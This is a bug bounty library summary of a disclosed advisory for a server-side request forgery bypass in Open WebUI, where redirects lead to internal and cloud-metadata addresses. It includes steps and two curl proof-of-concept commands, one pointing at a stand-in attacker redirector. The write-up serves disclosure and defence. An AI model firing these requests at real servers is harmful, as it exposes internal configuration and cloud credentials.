# Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)

Open WebUI's validate_url() only checks the initial URL; downstream HTTP clients follow 3xx redirects to internal/metadata addresses, letting any authenticated user read internal GET responses.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: tenbbughunters, YLChen-007, tempcollab, sneaXOR
- Disclosed: 2026-05-14
- CVE: CVE-2026-45401
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-rh5x-h6pp-cjj6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rh5x-h6pp-cjj6
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python tech:rest technique:incomplete-fix vuln:ssrf

**Target:** Web-fetch, image-load and chat-completion URL fetching endpoints
**Root cause:** validate_url() is applied only to the caller-supplied URL; the underlying clients (requests, aiohttp, WebBaseLoader) default to allow_redirects=True and never re-validate the Location target against the private-IP/metadata block list.
**Steps:**
1. Authenticate as any low-privilege user and obtain a token.
2. POST to `/api/v1/retrieval/process/web` with `{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}`.
3. The client follows the 302 to localhost; internal `/api/config` body appears in `file.data.content`.
4. Swap redirect target to `http://169.254.169.254/latest/meta-data/` for cloud metadata.
5. Alternatively POST `/api/chat/completions` with an `image_url` content part pointing at an attacker redirector to trigger the same follow via get_image_base64_from_url.
**How found:** Code review of validate_url() call sites: noticed validation runs once on the initial URL while requests_kwargs only sets timeout and never allow_redirects=False, and the shared aiohttp session pool leaves the default allow_redirects=True.
**Exploitation:** Attacker hosts or uses a public redirector (e.g. httpbin redirect-to) returning 302 to an internal address; the server-side client follows it and returns the internal response body to the attacker in the API response.
**Escalation:** Same primitive reachable from five call sites including the chat-completion image inlining path, which needs no special endpoint or permission — just a normal chat message.
**Insight:** When auditing SSRF fixes, grep every HTTP client construction for allow_redirects/redirect handling — a single validate_url() at the entry point is useless if the client follows Location headers; also check shared session pools and third-party loaders (langchain WebBaseLoader) that set their own defaults.

## Proof of concept (copied exactly from the original report)

**curl SSRF via redirect on web-fetch endpoint**

```
curl -X POST https://<target>/api/v1/retrieval/process/web \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'
```

**curl SSRF via image_url redirect in chat completions**

```
curl -X POST https://<target>/api/chat/completions \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'
```

